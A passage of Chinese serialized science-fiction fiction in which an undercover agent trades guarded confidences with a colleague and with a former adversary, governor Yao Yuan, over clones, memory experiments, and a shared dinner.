我干脆转回林执办公桌附近,从角落里抽出凳子,很没坐相地坐在他对面,撑着头回答他:“怎么,让我看着你们被LEA玩得团团转?”
林执后仰靠在椅背上,意味不明地提起一件事:“她跟我说过你,叶琦案子的那位笔录警官。”
我偏头去看他:“那你有什么独特的结论吗?”
“这对她不公平。”林执叹气,“对我们所有人都不公平。”
“这就是我什么都不说的原因。”我坐正身体,勾起一抹坏笑,和他对话,“你想逼我承认,但没想到我宁愿去当管理局内鬼,对吗?”
林执沉默着,看着我,最后想说什么又生生止住。我呼出一口气,回答他郁结于心十年的问题:“发生的一切,和你们能看见的东西都没关系。”
“那——”林执想要追问。
“不要求证,注重当下。”我竖起食指,比了个噤声,“我不是你们想的那个人。”
“吴队,”林执的声音难得有无力和颤抖,他看着我,“我们,做错了什么吗?”
“我不是吴队,我只是她的熟人。”我无奈而又夸张地叹气,“其次,回答你的问题:没有,没有任何人做错任何事情。”
不能再久待了。我起身准备离开,但林执一把抓过我的手腕,用力把我定在原地。
“那为什么会是这个结局?”他的声音提了上去,听起来痛苦又无助,“我找不到理由。”
“上司的人生,不会因为几个下属就毁掉的。”我简直是有些不知道如何是好了,把林执的手拉开,“你了解的‘吴潍’,就是现在的吴潍。”
“而我就是个挂名的,”我冲他一笑,“你知道的。”
林执看着我的眼神恨不得杀了我,我尽量光明正大地移开了视线。他没有放开我,近乎想要摸清楚我的回答里到底有几分真几分假。
沉默,执着,我只需要轻轻地用力,就可以挣脱林执。
他就是个坐办公室的文职。
但我想起了叶琦,想起她那双仇恨又痛苦的眼睛。
“你的,”我在心里长叹,不知道是给他一个解脱,还是把他堵进了死路,“弟弟过得怎么样?”
林执终于拿到了他的答案。这是独属于我和林执的私人人情,极少有人知道林执的技术世家里有个叛逆又失踪的弟弟。
他松开了手,思考片刻,缓慢又无奈地回答我:“他的智能机械比我更适合关心他。”
“你没有联系你弟弟林初,是他的智能机械联系你的。”我眼睛一眯,忍不住有些八卦心思,“你真的信任隔壁城市的人工智能?”
林执不满地“啧”了一声:“那智能机械说它是林初自己造的。我不信任人工智能,但我信任林初。”
我耸肩,结束了简单的叙旧:“就是这样。合作可以暂时搁置争议,林执。”
林执没有什么反应,只是沉默地坐回椅子上,收好桌上那份十四年前的文件,对我说:“好的,Caster女士。”
不知道是不是我的错觉,林执几乎是咬牙切齿地喊出我的伪装身份。
我故作镇定实则落荒而逃地离开,回到我的车里,一路上我的思绪几乎乱得理不出一个线头。
真难想象,原来我也需要消化情绪。我本想去摸车里的瓶装水,但摸了个空,才想起来车里的储备都用完了。
调出地图看了眼,周围最近的超市也没多远,我干脆就当是散散心,理理思绪。
顺手清理掉车里的垃圾,我掏出不知道什么时候放进外套的手环,思考片刻还是带了上去。
管它背后到底是什么人在监视我,在城市中心买点东西又不会直接追着我杀。
到了超市楼底下才发现是个综合商超,楼底下开了一堆茶饮店。
扫一眼,估摸一下距离,大概率能在这目之所及的几家咖啡厅里找到吴潍和姚渊。但我可不想惹吴潍生气,没必要特地凑上去。
姚渊总不会捅穿我的身份,把我底牌抽了对谁都没好处。
我坐着扶梯上楼,努力让自己看起来像是普通居民,而不是观察周围可疑人员的便衣。
真是不习惯这种日常氛围。我学着其他人用手环取走一辆跟随的购物车。
说真的,在下层可没有这么自由的购物方式,更多的就是提申请,过段时间去管理中心领回家。
顺着货架一路奔向食品区,仔仔细细地找了两圈,没有看见我最喜欢的面包牌子。
不死心地扩大了寻找范围,最后在一个角落里看见了目标标签,但货架是空的。
不满地撇嘴,我挑了次等选项的面包和合适分量的水,准备离开的时候,看见了实体速写本。
我忽然想起放在房间抽屉里的那本速写本。指尖摸过眼前的空白商品,我鬼使神差地抽出那本。
下层的那本笔记本我留在原地了。
里面都是些随心所欲的画面,会有罕见的动物和植物,会有更璀璨细致的银河,也会有被我处理掉的核心组织成员复制体……
总之,就是看见什么想到什么画什么,偶尔也会有几句语焉不详的描述,是我为数不多的消遣。
翻开手里的速写本,是一片空白。愣了一下,我还是把它放进了我的购物车里。
抱着一堆维生物品回到我的车旁边,我就看见姚渊跟车模似的靠在车上。
“聊了什么?”我拉开主驾驶的车门,和姚渊对话,“不影响正事就不用告诉我了。”
我挨个整理好物品,收拾完了都没听见那个话多的人回话,又疑惑地探头去看他:“那你也应该说一句和正事无关,姚总督。”
“没聊什么。”姚
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渊终于舍得张嘴,双手扶在我的车顶上,慢悠悠地回答我,“你觉得吴潍能问点什么?”
“母亲,组织,你为什么要反水,你是不是想做‘摄政’然后过河拆桥。”我掰着手指头去问,“你说服她了吗?八成没有。那你和她有什么交易?”
姚渊挑眉:“确实,就是这些,一些场面话就能糊弄过去。至于交易?有,但更像是达成了共识。”
我心下暗道不妙:“什么共识?”
他勾起嘴角,没有正面回答我:“你没感受到?每次吴潍看我的眼神,都像是在看情敌。”
“和我有关?”我没接姚渊的话茬,“那我才是裁判,姚总督。”
姚渊意味不明地轻笑一声,拉开副驾驶的车门:“你有纸笔吗?”
我觉得把车变成办公场所是一件非常缺根筋的决定。在车里短暂翻了翻,我把新买的速写本和常用的水笔递给他。
“对颜色有要求吗?”我从手里展示出另外两种颜色的笔,“我还以为我得把枪顶在你脑门上,才会画你组织的定位和平面图。”
“合作得有诚意。”姚渊没急着落笔,反而研究了一下纸质,“你,喜欢画画?”
那不能算画画,只能算涂鸦。我在心里纠正他的说法,就算车上常备三种颜色的笔和不便宜的速写本,我也绝不会承认。
“不喜欢。”我靠在椅背上,断然否认,“我没有爱好。”
“不用害羞。”姚渊瞥了我一眼,低头找了个合适的角度开始写写画画,“吴潍和你点了一样的咖啡,她的爱好真的和你一模一样。”
“看来聊得挺深入?”我摘下手环,重新看了眼仿造管理局口吻的信息,最后把手环扔在了储物箱里,“姚渊,你看来对我很感兴趣。”
“当然。”姚渊撕下一张画完的速写纸递给我,“生物复制体可不会看见原型,吴潍在某种意义上来说,她很幸运。”
我暂时没理会这个本质上是哲学探讨的事实,去看那张之上有什么。
上面是几个城市边缘的坐标,边上标记了一些巡逻队相关的信息。我摸着下巴简单在记忆里打上标记。
“说实话,你是不是有什么计划?”我放下那张纸,摸着纸的边缘,“你要我去单枪匹马闯组织?把我当枪使?”
姚渊头也没抬,空出左手伸出食指晃了晃:“我可舍不得一千四百万的枪去冲锋陷阵。”
真亏您还记得这回事。我不动声色地翻了个白眼,给出我的第二个猜测:“你不在林执办公室的时候,接到了什么消息?”
姚渊在平面图上打标记的手停顿了一下,很轻地呼气,抬起头看向我:“你猜对了。姚瑎和纪殊珩关系走近了。”
我是觉得姚瑎那个性格,跟谁走得近都是正常的。我眨眨眼,斟酌片刻语气:“你觉得纪殊珩在对姚瑎出手?”
“我不确定。”姚渊手里的笔又停下来,转了一圈,笔尖点在速写纸的边缘,“重点是,姚瑎是自愿的,不是被迫的。她不会看不出来她会被利用来对付我。”
啊,所以就只能是姚瑎知道了什么出乎她意料之外的,不为人知但一定真实的信息。并且,大概率和姚渊有关,否则她绝不会自愿倒向纪殊珩。
据我所见的姚渊和姚瑎的情谊,绝不是能装出来的。
“纪殊珩手里还有你的什么把柄?”我卷了卷鬓角,“十年的那些探索记录,对姚瑎来说只会显得你做人有担当。至于其他的,她还能有什么不知道的?”
“我不知道。”姚渊难得有些怅然,“我在纪殊珩手底下查了快四年,除了她严防死守的LEA原理和LEA在3822年之前历史,和我有关的事情基本都能连起来。”
“嗯哼,你说说你的经历?”我换了个适合听故事的姿势,“虽然大致都能猜出来。”
姚渊暂时没有顺应我的要求,把手头的那份平面图标记完了递给我,才慢条斯理地开口:“你想看我笑话?”
“没有很想,但我已经看过了。”我接过那张速写纸,“不想自己说?那我替你说?”
“不劳您费心。”姚渊把手里的笔放回我的储物箱,“3815年退伍,怀疑姚瑎是复制体,加入组织,带队探索辐射区,被你追杀,原型姚渊结束。”
“你说的也没比我详细到哪里去。”我吐槽一句,“你也跳过了很多重要的东西。”
“这是微不足道的报复,吴队。”他的语气漫不经心,“这是纪殊珩和你的版本交叉验证结果为真的原型故事,我也没有更多细节。”
我抿唇沉默几秒,回答他语气里隐约的埋怨:“说实话,我根本不认识十年前的你。”
“你这样会显得我有点,”他找了半天形容词,最后也找不出一个合适的词,“无用功。”
我终于笑出了声:“姚渊,我终于懂你的恶趣味了。”
30. 无可自证的说法
“恭喜你正式步入上流社会。”姚渊毫不真诚地夸我,言语里有几分莫名的得意,“我们的之间重点从来不是‘你怎么看待我’,不是吗?”
上流社会。我的思维停滞了瞬间。虽然我知道姚渊浑身上下写着“我很无聊”的自恋,但这种词从他嘴里说出来,让我有点微妙地“被阶级压迫”。
没有给他多余的反应,我敷衍他:“姚总督您成功地挽回了尊严,现在可以继续你的人生故事了。”
姚渊暂时没接话,拿起另外两只颜色的笔在我的速写本上开始涂画,手法完全不专业。
我也没强求他立刻回答我。在林执和吴潍给我共享情报之前,我能干的事情并不多,接下来行动只能是见招拆招。
姚渊自己画得不亦乐乎,那可是我的速写本。我在心里声明所有权,把手里速写纸上的内容大致记住。
随手一叠,寻思一下应该放在那里,我摸摸腰间的开锁工具包,把这两张纸和复印的管理局批复压在一起。
“下次调查,我应该搜你的身。”姚渊不知道什么时候停下了手里的笔,把我的小动作尽收眼底,“直接从你的车里找线索,还是太轻敌了。”
我撇嘴:“你把组织的平面图和安保力量全部告诉我了,不怕纪殊珩把你扫地出门吗?”
“扫就扫了。”姚渊合上我的速写本,不打算展示在我的本子上画了什么,“反正我要么真的下地狱,要么在监狱里待着。无论哪个,都比在纪殊珩手底下当‘泰迪熊’好。”
真豁达。我暗自评价他,伸手准备拿回我的速写本。
但在我即将得手的瞬间,姚渊的手往最近的车窗一伸,我整个人不得不打破了社交距离。
“那你呢?”他的声音很低,“你所谓‘满意的结局‘,真的会让谁满意吗?”
我落空的手转而推开他,顺带远离他语气里特有的、意味不明的真诚。
拉开距离,我移开视线:“我没时间跟你讨论这种感情问题。”
“真令人失望。”姚渊把我的速写本和笔放进储物箱,顺带整理一番,“我不觉得这是感情问题。严格来说,这是忠告。”
我有一种想要落荒而逃的冲动,但这是我的车,要滚也是姚渊滚出去。
“姚渊,我听得出来,我只是懒得理你。”我长叹一声,“继续说你没写在档案里的经历,我不想面对纪殊珩毫无预案。”
他似乎是有被看穿的恼火,但似乎又只有几分意料之中,我真是看不穿他。
“3821年,我自愿做了纪殊珩的LEA实验体。”姚渊的语气平缓,点开了手环去回复什么消息,“3822年,被推成总督。解释完毕。”
“3815年到3821年之间有什么?”我在脑子里画时间线,“后面四年你在纪殊珩手底下调查,她知道你的动向。”
姚渊似乎没有预料到我抓这个细节,放下手环,有些疑惑地看向我:“满怀期待地享受退伍生活和陪妹妹上学,你觉得我能做什么?”
“就这?”我有些不可置信,“我还以为你这个人过不了安稳日子。”
“……我都不知道叫你哪个名字显得严肃。”他很无语又很无力地直白挖苦我,“不要以己度人,那是偏见,总是把人想得那么阴暗。”
我不满地“啧”一声。
他这是在骂我是从黑暗平行世界里来的、跟疯疯癫癫的微笑红唇白脸反派斗智斗勇的那种角色。
“抱歉。”我毫无忏悔之意地道歉,“但你知道我在找什么。”
“我知道你推断出来的结论。纪殊珩手里有我,”姚渊沉默片刻,难得地区分了那个“自己”,“有原型的记录。”
当然不是好的那部分,是姚瑎忌惮“新”哥哥根本原因,必然不是什么好形象。
我本想着姚渊这种自恋倾向划成基础人设的人,也许不需要我的安慰或者兜底。
但这跟姚瑎有关,姚渊很难说能有多冷静。
我斟酌语气,在莫名沉重和心知肚明的气氛里开口,让自己显得真心而不是讽刺:“姚瑎有自己的判断,如果——”
她知道自己是生物复制体的话。我没把这句话说出口,这种事情,大家心里知道,就没必要放到台面上。
我是觉得姚瑎只是一时情感冲击,至于什么时候能转回来,那就看姚渊看重的这份亲情有多重了。
“说起来,”我生硬地转移话题,“你会不会有点感情用事了?”
姚渊再次露出了那种难得一见的“匪夷所思”表情:“你的话和语气,都像我教官。”
“不用谢。”我承认他的恭维。
“倒是你,”姚渊恢复那种懒洋洋的语气,“策略、身手和忠诚度这么好,管理局怎么没让你上前线?”
又戳我肺管子。我恨恨地回答他:“因为运气烂,抽签没抽上,满意了吗?”
“抽签?”姚渊摸一把下巴努力回忆起来,“流程不是报名后录取吗?”
“不知道,谁记得,这都过去多少年了。”我看了眼手环,属实是和姚渊聊够了,“我跟你是不是一届都难说。”
姚渊皱着眉头回忆一会:“我觉得不是。你的档案里记录的,和我是一届。”
我长叹:“怎么?你想说我这辈子就被管理局算计了?”
他轻笑一声:“看起来像是。”
但是谁在意呢?我下意识地去看手环,才发觉自己忘记摘掉,转手扔到后座不再管它。
我都卖命那么多年了。我悻悻地想。当年管理局就是这么跟我说的,转头录成了城市管理员。反正我也胸无大志,在其位谋其职,坦然接受了。
我忍不住勾起嘴角,回忆起当年的年轻气盛。
上班第一天把无人机黑了,后面这个漏洞修一次我黑一次。
幸好,十年前管理局把我送去下层的时候,没有再修漏洞,要不然在纪殊珩设的叶礼雲局里,我只能把姚渊卖了。
“现在是,”姚渊看了眼手环,“晚饭时间,你有什么想法?”
耳熟的话题。我收回思绪和嘴角,揶揄地去看他:“这次不是鸿门宴了?”
姚渊用着一脸“真是不解风情”的表情回答我:“这是下班时间,我不想加班。”
“我没想法。”我坦诚回答他,忽然觉察到一丝不妙,“你是有什么计划?”
“既然我们都没有计划,那就听我的。”他熟门熟路地点开我车载导航,输了个坐标,“你挑餐厅的眼光真不怎么样。”
你还点评上了。我撑在车窗上,就这么看着姚渊琢磨怎么开自动驾驶。再说,我早说了甜品不错,正餐一般。
“大少爷,别找了,这种古董车只有道路巡航。”看够他的困惑不解,我报复似的捧他,“起步、停车和复杂路况都得手动。”
姚渊放弃试图控制我的车,我顺理成章接管了驾驶,驶上正路,开了自动巡航,转而去地图上看他把我送去了哪里。
"我家。"姚渊没给我自己找答案的机会,“跟你手环同归于尽的是老宅,为了你特地搜罗出来的。”
“你那么有钱能不能直接打我账上?”我听得直扶额,“这次吃完饭不会又把我炸了吧?”
“不能,不会。”他换了个姿势躺在我的副驾驶上,“市中心人口密度太高,没法不伤人,我还没疯到这个地步。”
快了。我恶狠狠地想着。
市中心管理局的监管力度很大,如果是我,我也会选择去市中心临时休整。
无人机的击杀需要正当理由,下层执行官在市中心进行追击,横竖是把“管理局有内鬼”写在我上司脸上了。
总之,在整个城市里打游击还是挺有意思的。
但是,姚渊一定又在试探我。我看向窗外,等着他先来问我。
路灯已经亮起,冷色的光顺着道路延伸,遥远的城市线光似乎近在眼前。
我感觉手里有点空,顺手在周围摸了摸,才意识到缺的就是速写本和笔。
总不能压着副驾驶的人去摸储物箱里的速写本,我只好违背习惯,努力适应无所事事的车程。
“还说你不喜欢画画。”副驾驶的人撑着头,在间断的路灯里笑得像狐狸,“那你在找什么?”
“找东西把你嘴堵上。”我撇开脸,不愿意施舍给他一个眼神。
“这个我没法给出建议,我不太擅长闭嘴。”他发挥了一如既往的插科打诨,“吴潍,你对你队伍里的人也太冷漠了。”
我长长地叹气,把视线转到姚渊身上:“够用就行。”
我不知道姚渊在想什么,就算,就算可以真的到某种意义上的推心置腹,我十年对他的追杀就是深沉痛苦的血债。
于任何人而言都是彻头彻尾的毁灭式碾压。没有谈判,没有基于对人的尊严宣告,只有对待任务的、无可后撤的推进。
我不信他真的能跨过去,不信他能够在得知这段记忆后的四年里,安稳顺遂地像噩梦一样抛掷脑后。
不可能。没有人可以放得下。
我都放不下。
“那是你的任务。”姚渊的情绪很稳定,仿佛看穿了我的想法一样,“我相信小瑎的判断。”
我张了张嘴,想说什么,最后也只是闭上了嘴。
路过了好几十个路灯,车程将近尾声,我才回答他:“你不能这么想。”
他轻笑一声:“为什么?因为会陷入虚无?”
“不,因为姚瑎不会判你死刑。”我冷漠地回答他,“‘死亡是底牌’,这是你们的家庭教育。”
姚渊愣了一下,似乎没想到用这句话作为论据。不知道是真心疑惑,还是想试探我的想法,他停顿片刻:“那我,又为什么该死呢?”
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他从头到尾都跨不过这个坎。说是“坎”,但还是太浅了,说是“天堑”还差不多。
“所以,你不该被纪殊珩找上的。”我斟酌着语气,“在管理局的路线里,你就应该延续那六年的退休生活。”
沉默片刻,赶在姚渊开口之前,我还是补上了那句徘徊许久的话:“是我没有解决完案子。我不该走的,我不该——”
“你觉得是你的错?”姚渊打断了我的话,“你没有办法为他人的选择负责,吴潍。”
“但你就不用赌上那么多只求一个我根本不能说的真相!”我情绪有点失控,掩饰似的清了清嗓子,“只要我多待两年,纪殊珩就绝不会有制造LEA的机会,绝不会有你这样的痛苦。”
出乎我意料的是,姚渊像是找到了什么答案一样,话在嘴边又咽了回去,最后只跟我开口说:“你没有资格定义我的痛苦。”
我撑着头,看向道路尽头,不愿意再和姚渊对视:“但我定义了你的死亡。”
“伸手。”他先伸出了手,语气里是不容置喙。
又嫌我反应太慢,把我的右手抓进他的手里。
姚渊的手比我大一圈,力量上我应该是下风,但技巧上,我确信能顺利压制退休十年的姚渊。
应激似的做了几个动作袭击预案,意识到对方没有攻击性行为,我克制不住地想挣脱,却听到姚渊说:“现在,感受到了吗?”
甩了两下没扯开,我只好敷衍他:“感受到你在试图牵制管理局特派执行官。”
姚渊有些“恨铁不成钢”的失望,把我的手挪到他的手腕上。
他稳定的脉搏在我的指腹下跳动,温热的体温让我像是被烫伤一样猛地抽回手。
我本想去言语攻击他,但我什么都说不出来。
“你没有定义我的死亡。”他顺势放开我,语气里有莫名的坚定,“既然你觉得复制体是‘平行宇宙的意外’,那你何必在这个平行宇宙里还上个宇宙的债?”
“你在报复我。”我没接他话,不知道是自言自语,还是当场指认,“你有什么目的?你不应该说这么多。”
姚渊很无语又无奈地收回手:“行,你想要交易,那我给你现编一个。”
我本打断他,但终于抓到哲学讨论机会的姚总督,就不会给我夺回话语权的机会。
“我想要你保下姚瑎。”姚渊不知道真假地摆出这个筹码,“我想要你不会再给纪殊珩第二次机会。”
“我不信。”我瞥他一眼,“顺便一提,这是默认条款。”
“都说了是现编,哪有那么多交易的理由。”姚渊倒是坦然,“想跟你做朋友可真累。”
我伸出手指试图指控他些什么,但最后还是放下手:“感情用事。”
姚渊不满地“啧”一声:“又不妨碍你干活,下班时间聊聊都不行?”
我暂时没理他的油嘴滑舌,关了自动巡航,把车停在目标公寓楼的地下停车场。
“下车。”我拉开车门,扶着车框,弯下身,冲坐在副驾驶的姚渊说,“我们之间隔着一条命,隔着基本理念冲突,跟我做朋友纯添堵。”
姚渊摆出一个“你说了不算”的表情,气定神闲地开门下车,等着我收拾东西跟上。
一直到姚渊家门口,我都在思考要不要原地逃跑。
我确实无处可去。我试图给自己找一个和姚渊单独过夜的理由。
但想来想去,除了他身上随时会有纪殊珩的坐标指示以外,似乎没有什么了。
哦,这就是我得跟他强行呆在一起的理由。
还因为我的手环被监视了。我摸摸下巴,思考片刻。
忽然意识到了一个长期忽略的问题:虽然我的手环被监视或者入侵了,但动作发起方和纪殊珩应该是一条线上的,姚渊何必非得盯着我?
“你——”我下意识地开口,“不知道‘司南’?”
“我知道。”姚渊很坦诚地回答我,果断得让我愣了瞬间,“但仅限于猜测有这么个人,我从来没抓到过证据。纪殊珩的公司在3822年左右有一次技术升级,此后,LEA就投入使用了。”
“司南”只有第一次联系纪殊珩时没有通过传话人,姚渊确实很难通过后续的传话人,反向去摸上级。
我偏头,盯着他:“那跟‘司南‘有什么关系?纪殊珩她自己就是技术员。”
姚渊笑了一下,但似乎没有多开心:“如果你看过她的档案,你就知道,她和林执是一个级别的。”
不置可否,我没有看过纪殊珩的档案,我对她一无所知。但我也没打算和她多纠缠,姚渊明显跟她有旧账要算,不是我的主场。
没理会我的短暂盘算,姚渊的语气似乎在引导我一样,字句清晰地问我:“她手里,早就有我的LEA的A剂,为什么偏偏是3821年找上我、3822年技术升级?”
31. 无可自证的说法
听起来好像很真诚。我在心里评估姚渊的说的话,之后他到底有多“不喜欢”纪殊珩,“不喜欢”到宁愿在我手底下“当狗”。
“而且你找不到3821年之前的LEA历史。”我补全姚渊的话外,“所以,在这个时间点之前,要么,不存在LEA;要么,纪殊珩根本用不了你的A剂。”
姚渊略微低头看着我推理。我讨厌被人俯视,不动声色地拉远距离,靠在电梯墙壁上。
“就像,”我原本想提“姚瑎”的名字,最后我还是换了个说法,“失窃的含有RM成分的样本。理论上有记忆,但无法使用。”
假如十四年前的RM和十年前的RM有相同的限制,或许应该说,技术不完备,纪殊珩需要更新版本的RM进行逆推,而“司南”,给了她这个机会。
“恭喜,又多了解我一分。”
姚渊没什么感情地甩下一句,踏出电梯,挥手打开公寓门,站在门外请我进门。
我进门,看着他上锁,踌躇片刻,问他:“你有多恨纪殊珩?”
“重要吗?”他反问我,“情感在你的算计里占了多少分量?”
这算什么算计——
我下意识地想去反驳,又想起我在停车场的那句“跟我做朋友纯添堵”,显得我这个问题问得像是十成的嘲讽。
室内灯亮起,没有给我太多纠结的时间,姚渊轻叹一声:“我的感情是定量。你觉得,我恨你更多,还是恨纪殊珩更多?”
纪殊珩。我在心里有答案。我倒宁愿姚渊真的像是讨债一样追着我寻仇,我也不想看见他像现在这样又纠结又徘徊。
姚渊瞥了我一眼,好像真有多绅士似的留下这句话:“为了给你留点面子,这个达成共识的答案就不必多说了。”
他路过客厅,把我看作是什么新朋友一样:“你有忌口吗?”
“你现在问是不是太晚了?”我把我的行李放在沙发边上,给自己找了个好姿势半靠在沙发靠背上,“前天怎么没想起来问?”
“啊,这确实是我的错。”姚渊挽起袖口,撑在开放式厨房的吧台上,“但姚瑎优先,你让让她。”
把我说得像是跟晚辈抢东西一样。我无语地轻轻摇头:“我不挑。”
姚渊没再追问我,转身跟开冰箱挑食材去了。
我确认她的关注点不在我的身上,职业病发作地去摸索周围环境。
房型倒是跟吴潍的差不多,单身公寓,空间不大。唯一不同的就是姚渊给厨房划了更大的空间,吴潍就没有对厨房区域做出什么修改。
这人居然喜欢做饭?我没有找到第二个人长期生活的痕迹,但是找到了一些明显属于姚瑎的东西。暖色的围巾,还有件搭在沙发扶手上的女式外套。
我拉开阳台门,看见角落的绿色盆栽。是很省心的那种植物,就算不浇水都能活个把月,跟姚渊老宅那种前院风格如出一辙。
很没生活情趣的男人。我撇嘴,抬头去看阳台周围。开放式阳台,楼层不高,借助邻居们的阳台能迅速离开。
标准的城市风景,视野倒是开阔。
真有意思。我视线一路落到楼底,此时是道路高峰期,车流虽然在移动,但是很缓慢。
没有可疑人物。
我收回视线,把阳台门恢复原状。
姚渊在厨房开了火,我对他如何做饭兴致缺缺。
本想沉默地坐回去当一位有礼貌的客人,转而又想起姚渊把我的车翻了个底朝天,我顺手就拉开了手边的抽屉。
我本以为能找到什么黑历史,但除了几本军事有关的书,似乎没找到什么个人爱好。
翻开了最顶上的书,里面写满了笔记,字迹倒是跟我记忆里的那份“怪物”探索队调查报告一样。
都说字如其人,但姚渊的字是很标准的行楷,那些弯弯绕的字母都是标准手写体。我愣是看不出这人有什么隐藏性格。
我把我动过的东西放回原位,说不上是失望,还是果然如此的惋惜,转身离开,坐在厨房吧台前面的高脚凳上,撑着头去看姚渊的背影。
刀工确实漂亮。我评价着,视线落在了吧台角落里的调酒套装上。
“你找到了什么结论?”姚渊头也没回地问我,“如果很失望的话,你也可以去书房看看。”
“我还以为你这种‘上流社会’人士十指不沾阳春水。”我没急着去书房,好整以暇地回话,“因为姚瑎?”
姚渊没有转身面对我,我不知道他是什么表情。擦了一下刀,他才语气平淡地回答我:“不全是。”
我等着姚渊说完,结果就这么不上不下地卡那了。
这是几个意思?姚渊好像从来没有说一半过——我的意思是,姚渊虽然经常话里有话,但基本上字面意思还是完整的。
思肘片刻,我开口:“因为你选择去做城市执行官指挥官,所以,你才会有一个妹妹?”
“真聪明。”姚渊终于舍得转身,靠着在台上,抱胸看着我,“奖励你一个点菜的机会。”
我跳过了这个“奖励”,不知道应不应该把我的想法说完。
“你真应该学学我的直白。”姚渊看出我的欲言又止,“如果是我,我就不会放过这个机会。”
克制住翻白眼的冲动,我带着几分恼火:“你觉得把人过去挖出来很有趣吗?”
“不觉得。”他试图给我台阶失败,只好长叹一声,“你真的比你自己想的善良太多了,怎么做到的?”
我怎么知道。我有些费解地盯着他:“你的人生里是没有正常说话的人吗?我看你和你妹妹相处不是挺正常的。”
姚渊没有反驳我,挑眉示意我继续。
求仁得仁,我也不是高尚的人。我给出我的推理,说实话,我觉得我要是姚渊,完全不爱听。
“按照我的理解,”我努力让语气显得没有嘲讽,只是普通陈述,“如果我没有记错,你们这个姓是建城就在的,父母一代应该是商政联合,只缺少……一份漂亮的履历。”
我移开了视线,让自己显得在专心推理,而不是和姚渊对视上。
“指挥官学习年制长,服役时间短,能活着退伍的就少,活下来的大多是严重PTSD,按照家里人的看法,就是,”我沉默片刻,“死亡。”
“没错。”姚渊耸肩,似乎对我的“委婉”毫不领情,“我就是那个去拿漂亮履历的工具人,姚瑎的未来才是他们想要的。”
没人期望“姚渊”会正常活着回来,所以就连姚瑎手术的隐瞒都是一种残忍的,人道主义。
我应该说点什么?
我和他对视:“但你活着回来了?”
“正常本身就是一种不正常。”姚渊转身掌控他的灶台,似乎心情很好地完善他的解释,“回到最开始的问题,我学做饭,主要是因为我受够了被当作精神解离的病人;其次,姚瑎嘴很挑,我在讨好她。”
姚渊,你居然还有心情讨好姚瑎?我在心里腹诽着。要我,早离家出走了,反正大城市又不止这一个。
“那,那些花孔雀技术你是从哪本杂志上学来的?”我比着下巴,故意挑起他的反驳,“对我来说,很烂。”
“不试试怎么知道呢?”他给锅里的肉加了一把我看不懂的佐料,盖上锅盖,“随便说的,太正经了容易被人盯上。”
“你以为自己是什么商业巨鳄,跟哪个人走近一点都会上头条?”我忍不住吐槽他,“会不会自我意识过剩了?”
姚渊侧过身,给了我一个“彼此彼此”的眼神:“需要我提醒你在纪殊珩面前,你把自己塑造成了什么角色吗?”
我再也不装了。
我清清嗓子:“那不一样。”
“不一样在哪里?”姚渊意味不明,但我知道他在逗我玩,“不一样在我是真的?”
我有一种强烈地在手环上搜索“姚渊”这个词条的冲动,我倒要看看什么家庭养得出这种不明所以的长子。
但我的手环在车里,没有办法验证,我嗤笑一声:“你把家里老宅炸了,你家里人也不管你?”
他高贵地甩出四个字:“和你同理。”
真是一点亏都不吃。
我无语地摇头,起身摸进他的书房:“你说了算。反正那些东西要是有用,你还找我做什么。”
姚渊的书房里划成了两个区域,正常书桌外还有一张矮凳和支架,上面放着几张纸,最显眼的地方放着琴盒。
书房里除了整整两面的经典纸质书籍,还有一些乐理书。
嗯,姚渊会乐器?我得到一个结论,但似乎又不太合理。在姚渊坐办公室和众人围坐的演奏之间,我选择了都不相信。
我更信他把人摁在地上,枪口抵着对方后脑勺开枪。
想法转瞬而过,我转而先去研究别的。
这桌子看着就不便宜,我忍不住上手摸了一把。没想着去看他电脑里有什么,能放我进来,肯定是找不到什么有用的。
书桌上只有倒扣的相框。我犹豫片刻,还是拿起来看了一眼。
照片上是海蚀地貌。
不是什么罕见的风景,不过色彩干净构图倒是很少见。由左上角延续至右下角的橙蓝渐变色调,画面中间矗立着黑白的石柱,画面看起来有几分落日余晖的宁静。
仔细查看了一番,我没有找到可能存在的信息,似乎就只是一张简单的风景照片。
但总感觉相框背板和相框有几分不贴合。
用手确认一番,我思索片刻,干脆一不做二不休,干脆拆了背板,才发现是没有链子的军用识别牌。
虽然我还是更喜欢叫它“狗牌”。
真羡慕,我可没有这种东
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西。我摸出那两片金属,思索着。管理局需要一具身份可控的生命维护执行官尸体,而不是一位需要纪念的士兵。
姚渊的姓名,血型,职位等级。我翻到背面,上面是有轻微的起伏,大概是家族标记?我对此不感兴趣,没有看出什么。
至于另一块,似乎是别人的。我有些意外。这种“战争纪念品”就算被拿回来了,也应该送给家属,姚渊怎么还私藏?
那应该是战友了?我翻到背面,是空的。看来,这块狗牌的主人也是跟我差不多的普通小市民。
不知道应该拿出什么表情回应这份久远的经历,我把这两片小小的金属放回了相框后,仔细地恢复原状。
其实我大概知道,姚渊为什么没有把它送去应该还去的位置。我不会拿出那种恶毒揣测指认他,但别人可说不准。
我转了个身,把注意力放在另一半空间上。
支架上的琴谱让我有些意外,上面全部都是高音谱号,没有其他的。我的思绪停滞片刻,这人,不会是拉小提琴的吧?看起来就很专业,虽然我看不懂谱,但难易程度我还是大致有数的。
我盯着很明显的琴盒,只需要拉开它看一眼,就知道我的猜测对不对。
琢磨着要是去碰看起来起码能顶我两年薪水的琴,会不会被姚渊扫地出门?好奇心和诡异的求生欲在我心里搏斗。最后我还是什么都没做,离开了书房。
除了看起来这男人很贵以外,没有别的结论。
我实在是更费解了。
就为了一个知道了世界也不会更好、自己也不会有所改变的真相,赌上自己本身就很优渥的生活?
疯完了。但这就是姚渊要的,他就是想要我意识到这件事于他有多重要。
心理战术。我深深地叹气,这就是我的弱点。
我真的,真的宁愿姚渊就是个为了真相、组织和信仰偏执的疯子,至少我还有一大把手段直面他。
姚渊说得对,我确实比自己想的善良多了。
“找到你的化妆品了吗?”姚渊把餐具放好,看见我出来,勾起坏笑问我,“别只被我的琴吸引过去了。”
“送你了。”我气不打一处来,刚刚那点微妙的情愫灰飞烟灭,“不用谢。”
“唉,不解风情。”姚渊拉开椅子,示意我入座,“理论来说,专业的厨师会介绍自己的菜品,但很显然,你估计不会想听。”
我毫不客气地坐在椅子上:“好厨子都在民间,姚总督。”
没再和他贫嘴,我扫了一眼不是很家常的摆盘,有些生疏地拿起刀叉。我熟练地分割闻起来莫名很香的棕色肉排,琢磨着自己上次端着刀叉吃饭是什么时候……
大概是没吃两口,手里刀叉就变成武器的那次餐厅暗杀?我有些想不起来。
说到下层的进餐,不是色香味弃权的无奈,就是那个做饭很好吃的邻居。尽管他很快就在我的下层生活里变成背景音了。
忽然才意识到,我不记得那位邻居的脸了。
“没点评价?”姚渊拉回我的思绪,“还是你只会对甜品进行评价?”
